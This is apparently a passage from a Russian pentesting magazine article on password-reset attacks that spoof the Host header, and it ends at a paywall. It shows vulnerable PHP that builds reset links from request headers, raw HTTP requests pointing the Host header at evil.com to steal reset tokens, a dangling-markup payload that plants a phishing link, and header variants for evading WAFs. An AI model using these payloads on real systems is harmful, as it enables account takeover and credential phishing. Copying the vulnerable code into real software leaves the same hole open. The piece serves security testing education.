Содержание статьи
Я занимаюсь анализом защищенности в Singleton Security. При проведении пентеста часто сталкиваюсь с формами сброса пароля. Кажется, что это простой и стандартный механизм. На деле же — уязвимости в восстановлении пароля приводят к полному захвату аккаунта, утечке конфиденциальных данных или перехвату управления сервером.
Атаки с использованием заголовка Host
Начнем с атак на подмену HTTP-заголовков. Такая атака возникает, когда заголовки генерируются на основе пользовательского ввода и сервер не проверяет эти данные должным образом. Хакер может внедрить свой контролируемый домен в ссылку для восстановления пароля.
Уязвимость часто встречается, когда части веб‑приложения находятся на разных доменах и пользователи привязываются к точному хосту:
- отдельные поддомены для разных языков;
- разбивка пользователей из разных стран по доменным зонам (.ru, .fr, .de и так далее);
- множественные домены — например, языковая школа может использовать что‑то вроде
eng-lang.,com de-lang.,com rus-lang..com
Чтобы подобный сервис стал уязвимым, разработчик должен забыть про белые списки и использовать прямую вставку домена в генераторе ссылок на восстановление пароля:
<?php// Небезопасное получение хоста из запроса$host = $_SERVER['HTTP_X_FORWARDED_HOST'] ?? $_SERVER['HTTP_HOST'];$resetLink = "https://{$host}/reset-password?token={$token}";Допустим, у нас есть сайт, уязвимый к подмене HTTP-заголовков, который отправляет ссылку для восстановления пароля вида https://. Мы можем создать такой запрос, чтобы получить токен пароля:
POST /recovery-pass HTTP/1.1Host: evil.comContent-Length: 24Content-Type: application/x-www-form-urlencodedemail=admin@vulncorp.com
Жертве придет ссылка на восстановление пароля с вредоносным доменом. Когда пользователь перейдет по ней, токен попадет в руки злоумышленника.
Если атака не сработала, пробуй различные дублирующие хедеры наподобие X-Forwarded-Host, X-HTTP-Host-Override и так далее.
Один из возможных подходов — дублирование заголовка Host. Прокси‑серверы обрабатывают дублированные заголовки по‑разному. В зависимости от прокси на выходе может быть отброшен первый или дублирующий заголовок либо выполнится join с разделением через запятую. Иногда может оказаться, что разработчики не предусмотрели такой сценарий и мы можем внедрить наш домен в ссылку, добавив еще один заголовок Host.
info
WAF или reverse-прокси могут блокировать запросы с дублированными заголовками или подозрительными значениями X-Forwarded-Host. Обход часто требует экспериментов с разными названиями заголовков (например, X-Original-Host, X-Rewrite-URL).
Бывают случаи, что сервер проверяет хедеры, но недостаточно безопасно. Возникает возможность внедрения висячей разметки (Dangling markup) — это вид атаки с инъекцией HTML-кода, предполагающий использование незакрытого тега или атрибута. Предположим, что заголовок Host валидируется, но есть возможность написать порт приложения. Этим мы и воспользуемся, отправив запрос такого вида:
POST /forgot-password HTTP/2
Host: vulncorp.com:443'></a> <a href="https://evil.com/login"> go to link </a> <type="hidden
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
username=admin
С помощью такой нагрузки мы можем создать фишинговую страницу с формой отправки данных на наш сервер. Пользователь, уверенный, что получил письмо от настоящей компании, перейдет по ссылке и введет данные от учетной записи. Тут остается сделать хорошую фишинговую страницу.
Но современные почтовые клиенты (такие как Gmail или Outlook) и антивирусные решения имеют мощные фильтры, которые находят и блокируют подобные письма, помещая их в спам или вообще не доставляя, так как HTML в заголовках выглядит подозрительно.
www
Попрактиковаться в атаках на заголовок Host можешь в лабораторных академии PortSwigger: Access control vulnerabilities, HTTP Host header attacks и Authentication.
Перед тем как анализировать содержимое, один из фильтров приводит HTML-код письма к «плоскому» и читаемому виду, аналогично тому, как это делает браузер. Все эти висящие <, <, < с белым цветом шрифта на белом фоне, элементы с display: или font-size: просто вычищаются. Остается только видимое текстовое содержимое. Извлекаются все ссылки письма, проверяются репутации URL-адресов и многое другое. Эта атака может сработать в корпоративных сетях со своими почтовыми серверами, где фильтрация менее строгая.
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
